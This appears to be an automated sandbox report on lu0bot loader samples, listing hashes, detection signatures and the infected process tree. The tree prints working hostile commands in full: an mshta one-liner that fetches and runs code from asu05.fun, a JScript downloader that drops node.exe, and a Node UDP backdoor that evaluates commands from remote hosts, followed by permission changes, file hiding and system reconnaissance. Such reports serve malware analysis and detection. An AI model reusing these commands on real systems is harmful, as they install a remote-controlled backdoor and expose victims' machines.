Overview
overview
10Static
static
eufive_202...1).exe
windows7_x64
1eufive_202...1).exe
windows10_x64
1eufive_202...1).exe
windows7_x64
10eufive_202...1).exe
windows10_x64
10eufive_202...41.exe
windows7_x64
10eufive_202...41.exe
windows10_x64
10mixazed_20...1).exe
windows7_x64
8mixazed_20...1).exe
windows10_x64
8mixazed_20...1).exe
windows7_x64
8mixazed_20...1).exe
windows10_x64
8mixazed_20...1).exe
windows7_x64
8mixazed_20...1).exe
windows10_x64
8mixsix_202...1).exe
windows7_x64
8mixsix_202...1).exe
windows10_x64
8usfive_202...1).exe
windows7_x64
10usfive_202...1).exe
windows10_x64
10Analysis
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max time kernel
148s -
max time network
179s -
platform
windows7_x64 -
resource
win7v20210410 -
submitted
27-07-2021 21:27
Static task
static1
Behavioral task
behavioral1
Sample
eufive_20210727-123655(1).exe
Resource
win7v20210410
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
eufive_20210727-123655(1).exe
Resource
win10v20210408
windows10_x64
0 signatures
0 seconds
Behavioral task
behavioral3
Sample
eufive_20210727-125230(1).exe
Resource
win7v20210410
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral4
Sample
eufive_20210727-125230(1).exe
Resource
win10v20210408
windows10_x64
0 signatures
0 seconds
Behavioral task
behavioral5
Sample
eufive_20210727-174641.exe
Resource
win7v20210410
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral6
Sample
eufive_20210727-174641.exe
Resource
win10v20210410
windows10_x64
0 signatures
0 seconds
Behavioral task
behavioral7
Sample
mixazed_20210727-123659(1).exe
Resource
win7v20210408
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral8
Sample
mixazed_20210727-123659(1).exe
Resource
win10v20210410
windows10_x64
0 signatures
0 seconds
Behavioral task
behavioral9
Sample
mixazed_20210727-132631(1).exe
Resource
win7v20210408
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral10
Sample
mixazed_20210727-132631(1).exe
Resource
win10v20210410
windows10_x64
0 signatures
0 seconds
Behavioral task
behavioral11
Sample
mixazed_20210727-134206(1).exe
Resource
win7v20210408
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral12
Sample
mixazed_20210727-134206(1).exe
Resource
win10v20210410
windows10_x64
0 signatures
0 seconds
Behavioral task
behavioral13
Sample
mixsix_20210727-190432(1).exe
Resource
win7v20210410
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral14
Sample
mixsix_20210727-190432(1).exe
Resource
win10v20210408
windows10_x64
0 signatures
0 seconds
Behavioral task
behavioral15
Sample
usfive_20210727-123716(1).exe
Resource
win7v20210410
windows7_x64
0 signatures
0 seconds
General
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Target
eufive_20210727-174641.exe
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Size
3KB
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MD5
13e7feb9430554945b5aa4f6b5524d66
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SHA1
3d644cfe881c9c5e80f94f0173dc3fa3169e145b
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SHA256
bf44cfa6534d38b172ea611502230f1978f26a28cb1b510ed1c2cd6bd15f007f
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SHA512
271912df0b8a74a9081a1c3457ac4290c19cd88ade2d42a48683d187aea9391c3fa6505154dcfa15358c3ca273c2203548c3d579dad0b4d063fd91d72bf4cc08
Malware Config
Signatures
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suricata: ET MALWARE lu0bot Loader HTTP Request
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suricata: ET MALWARE lu0bot Loader HTTP Response
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Blocklisted process makes network request 2 IoCs
flow pid Process 4 1660 mshta.exe 5 2032 cscript.exe -
Executes dropped EXE 1 IoCs
pid Process 524 node.exe -
Loads dropped DLL 1 IoCs
pid Process 1292 cscript.exe -
Modifies file permissions 1 TTPs 1 IoCs
pid Process 1092 icacls.exe -
Drops file in Windows directory 2 IoCs
description ioc Process File opened for modification C:\Windows\Logs\DPX\setupact.log expand.exe File opened for modification C:\Windows\Logs\DPX\setuperr.log expand.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1 node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString node.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString node.exe -
Enumerates processes with tasklist 1 TTPs 1 IoCs
pid Process 1964 tasklist.exe -
Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 1776 ipconfig.exe 1468 netstat.exe -
Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 268 systeminfo.exe -
NTFS ADS 2 IoCs
description ioc Process File created C:\Users\Admin\AppData\Local\Temp\506b62f2822b9b70:ads node.exe File created C:\ProgramData\DNTException\node.exe:5a82493121b065487b2eea7debbea210 node.exe -
Script User-Agent 2 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 4 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 5 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 524 node.exe 524 node.exe -
Suspicious use of AdjustPrivilegeToken 42 IoCs
description pid Process Token: SeDebugPrivilege 1964 tasklist.exe Token: SeIncreaseQuotaPrivilege 1764 wmic.exe Token: SeSecurityPrivilege 1764 wmic.exe Token: SeTakeOwnershipPrivilege 1764 wmic.exe Token: SeLoadDriverPrivilege 1764 wmic.exe Token: SeSystemProfilePrivilege 1764 wmic.exe Token: SeSystemtimePrivilege 1764 wmic.exe Token: SeProfSingleProcessPrivilege 1764 wmic.exe Token: SeIncBasePriorityPrivilege 1764 wmic.exe Token: SeCreatePagefilePrivilege 1764 wmic.exe Token: SeBackupPrivilege 1764 wmic.exe Token: SeRestorePrivilege 1764 wmic.exe Token: SeShutdownPrivilege 1764 wmic.exe Token: SeDebugPrivilege 1764 wmic.exe Token: SeSystemEnvironmentPrivilege 1764 wmic.exe Token: SeRemoteShutdownPrivilege 1764 wmic.exe Token: SeUndockPrivilege 1764 wmic.exe Token: SeManageVolumePrivilege 1764 wmic.exe Token: 33 1764 wmic.exe Token: 34 1764 wmic.exe Token: 35 1764 wmic.exe Token: SeIncreaseQuotaPrivilege 1764 wmic.exe Token: SeSecurityPrivilege 1764 wmic.exe Token: SeTakeOwnershipPrivilege 1764 wmic.exe Token: SeLoadDriverPrivilege 1764 wmic.exe Token: SeSystemProfilePrivilege 1764 wmic.exe Token: SeSystemtimePrivilege 1764 wmic.exe Token: SeProfSingleProcessPrivilege 1764 wmic.exe Token: SeIncBasePriorityPrivilege 1764 wmic.exe Token: SeCreatePagefilePrivilege 1764 wmic.exe Token: SeBackupPrivilege 1764 wmic.exe Token: SeRestorePrivilege 1764 wmic.exe Token: SeShutdownPrivilege 1764 wmic.exe Token: SeDebugPrivilege 1764 wmic.exe Token: SeSystemEnvironmentPrivilege 1764 wmic.exe Token: SeRemoteShutdownPrivilege 1764 wmic.exe Token: SeUndockPrivilege 1764 wmic.exe Token: SeManageVolumePrivilege 1764 wmic.exe Token: 33 1764 wmic.exe Token: 34 1764 wmic.exe Token: 35 1764 wmic.exe Token: SeDebugPrivilege 1468 netstat.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1012 wrote to memory of 1660 1012 eufive_20210727-174641.exe 25 PID 1012 wrote to memory of 1660 1012 eufive_20210727-174641.exe 25 PID 1012 wrote to memory of 1660 1012 eufive_20210727-174641.exe 25 PID 1012 wrote to memory of 1660 1012 eufive_20210727-174641.exe 25 PID 1660 wrote to memory of 1968 1660 mshta.exe 27 PID 1660 wrote to memory of 1968 1660 mshta.exe 27 PID 1660 wrote to memory of 1968 1660 mshta.exe 27 PID 1660 wrote to memory of 1968 1660 mshta.exe 27 PID 1968 wrote to memory of 2032 1968 cmd.exe 29 PID 1968 wrote to memory of 2032 1968 cmd.exe 29 PID 1968 wrote to memory of 2032 1968 cmd.exe 29 PID 1968 wrote to memory of 2032 1968 cmd.exe 29 PID 1968 wrote to memory of 1204 1968 cmd.exe 31 PID 1968 wrote to memory of 1204 1968 cmd.exe 31 PID 1968 wrote to memory of 1204 1968 cmd.exe 31 PID 1968 wrote to memory of 1204 1968 cmd.exe 31 PID 1968 wrote to memory of 1292 1968 cmd.exe 32 PID 1968 wrote to memory of 1292 1968 cmd.exe 32 PID 1968 wrote to memory of 1292 1968 cmd.exe 32 PID 1968 wrote to memory of 1292 1968 cmd.exe 32 PID 1292 wrote to memory of 524 1292 cscript.exe 35 PID 1292 wrote to memory of 524 1292 cscript.exe 35 PID 1292 wrote to memory of 524 1292 cscript.exe 35 PID 1292 wrote to memory of 524 1292 cscript.exe 35 PID 524 wrote to memory of 1528 524 node.exe 37 PID 524 wrote to memory of 1528 524 node.exe 37 PID 524 wrote to memory of 1528 524 node.exe 37 PID 524 wrote to memory of 1528 524 node.exe 37 PID 524 wrote to memory of 1372 524 node.exe 38 PID 524 wrote to memory of 1372 524 node.exe 38 PID 524 wrote to memory of 1372 524 node.exe 38 PID 524 wrote to memory of 1372 524 node.exe 38 PID 524 wrote to memory of 1092 524 node.exe 39 PID 524 wrote to memory of 1092 524 node.exe 39 PID 524 wrote to memory of 1092 524 node.exe 39 PID 524 wrote to memory of 1092 524 node.exe 39 PID 524 wrote to memory of 1064 524 node.exe 40 PID 524 wrote to memory of 1064 524 node.exe 40 PID 524 wrote to memory of 1064 524 node.exe 40 PID 524 wrote to memory of 1064 524 node.exe 40 PID 524 wrote to memory of 1716 524 node.exe 41 PID 524 wrote to memory of 1716 524 node.exe 41 PID 524 wrote to memory of 1716 524 node.exe 41 PID 524 wrote to memory of 1716 524 node.exe 41 PID 524 wrote to memory of 1964 524 node.exe 42 PID 524 wrote to memory of 1964 524 node.exe 42 PID 524 wrote to memory of 1964 524 node.exe 42 PID 524 wrote to memory of 1964 524 node.exe 42 PID 524 wrote to memory of 1764 524 node.exe 44 PID 524 wrote to memory of 1764 524 node.exe 44 PID 524 wrote to memory of 1764 524 node.exe 44 PID 524 wrote to memory of 1764 524 node.exe 44 PID 524 wrote to memory of 1776 524 node.exe 45 PID 524 wrote to memory of 1776 524 node.exe 45 PID 524 wrote to memory of 1776 524 node.exe 45 PID 524 wrote to memory of 1776 524 node.exe 45 PID 524 wrote to memory of 1148 524 node.exe 46 PID 524 wrote to memory of 1148 524 node.exe 46 PID 524 wrote to memory of 1148 524 node.exe 46 PID 524 wrote to memory of 1148 524 node.exe 46 PID 524 wrote to memory of 1468 524 node.exe 47 PID 524 wrote to memory of 1468 524 node.exe 47 PID 524 wrote to memory of 1468 524 node.exe 47 PID 524 wrote to memory of 1468 524 node.exe 47 -
Views/modifies file attributes 1 TTPs 2 IoCs
pid Process 1064 attrib.exe 1716 attrib.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\eufive_20210727-174641.exe"C:\Users\Admin\AppData\Local\Temp\eufive_20210727-174641.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:1012 -
C:\Windows\SysWOW64\mshta.exemshta "javascript:document.write();51;y=unescape('%325%33%7E%68t%74p%3A%2F%2Fa%73u%305%2Ef%75n%2Fh%72i%2F%3F%32f%652%652%62%7E%317%39').split('~');205;try{x='WinHttp';82;x=new ActiveXObject(x+'.'+x+'Request.5.1');175;x.open('GET',y[1]+'&a='+escape(window.navigator.userAgent),!1);222;x.send();105;y='ipt.S';173;new ActiveXObject('WScr'+y+'hell').Run(unescape(unescape(x.responseText)),0,!2);253;}catch(e){};202;;window.close();"2⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:1660 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /d/s/c cd /d "C:\ProgramData" & mkdir "DNTException" & cd "DNTException" & dir /a node.exe || ( echo x=new ActiveXObject("WinHttp.WinHttpRequest.5.1"^);x.Open("GET",unescape(WScript.Arguments(0^)^),false^);x.Send(^);b=new ActiveXObject("ADODB.Stream"^);b.Type=1;b.Open(^);b.Write(x.ResponseBody^);b.SaveToFile(WScript.Arguments(1^),2^); > get1627421323066.txt & cscript /nologo /e:jscript get1627421323066.txt "http%3A%2F%2Fasu05.fun%2Fhri%2F%3F2f1f8030c%26b%3Df7976778" node.cab & expand node.cab node.exe & del get1627421323066.txt node.cab ) & echo new ActiveXObject("WScript.Shell").Run(WScript.Arguments(0),0,false); > get1627421323066.txt & cscript /nologo /e:jscript get1627421323066.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27f1f8030c%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu05.fun%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))" & del get1627421323066.txt3⤵
- Suspicious use of WriteProcessMemory
PID:1968 -
C:\Windows\SysWOW64\cscript.execscript /nologo /e:jscript get1627421323066.txt "http%3A%2F%2Fasu05.fun%2Fhri%2F%3F2f1f8030c%26b%3Df7976778" node.cab4⤵
- Blocklisted process makes network request
PID:2032
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C:\Windows\SysWOW64\expand.exeexpand node.cab node.exe4⤵
- Drops file in Windows directory
PID:1204
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C:\Windows\SysWOW64\cscript.execscript /nologo /e:jscript get1627421323066.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27f1f8030c%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu05.fun%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))"4⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1292 -
C:\ProgramData\DNTException\node.exe"C:\ProgramData\DNTException\node.exe" -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27f1f8030c%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu05.fun%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))5⤵
- Executes dropped EXE
- Checks processor information in registry
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:524 -
C:\Windows\SysWOW64\cmd.execmd.exe /c dir C:\6⤵PID:1528
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C:\Windows\SysWOW64\cacls.execacls.exe C:\ProgramData\DNTException /t /e /c /g Everyone:F6⤵PID:1372
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C:\Windows\SysWOW64\icacls.exeicacls.exe C:\ProgramData\DNTException /t /c /grant *S-1-1-0:(f)6⤵
- Modifies file permissions
PID:1092
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C:\Windows\SysWOW64\attrib.exeattrib.exe +H C:\ProgramData\DNTException6⤵
- Views/modifies file attributes
PID:1064
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C:\Windows\SysWOW64\attrib.exeattrib.exe +H C:\ProgramData\DNTException\node.exe6⤵
- Views/modifies file attributes
PID:1716
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C:\Windows\SysWOW64\tasklist.exetasklist /fo csv /nh6⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:1964
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C:\Windows\SysWOW64\Wbem\wmic.exewmic process get processid,parentprocessid,name,executablepath /format:csv6⤵
- Suspicious use of AdjustPrivilegeToken
PID:1764
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C:\Windows\SysWOW64\ipconfig.exeipconfig.exe /all6⤵
- Gathers network information
PID:1776
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C:\Windows\SysWOW64\route.exeroute.exe print6⤵PID:1148
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C:\Windows\SysWOW64\netstat.exenetstat.exe -ano6⤵
- Gathers network information
- Suspicious use of AdjustPrivilegeToken
PID:1468
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C:\Windows\SysWOW64\systeminfo.exesysteminfo.exe /fo csv6⤵
- Gathers system information
PID:268
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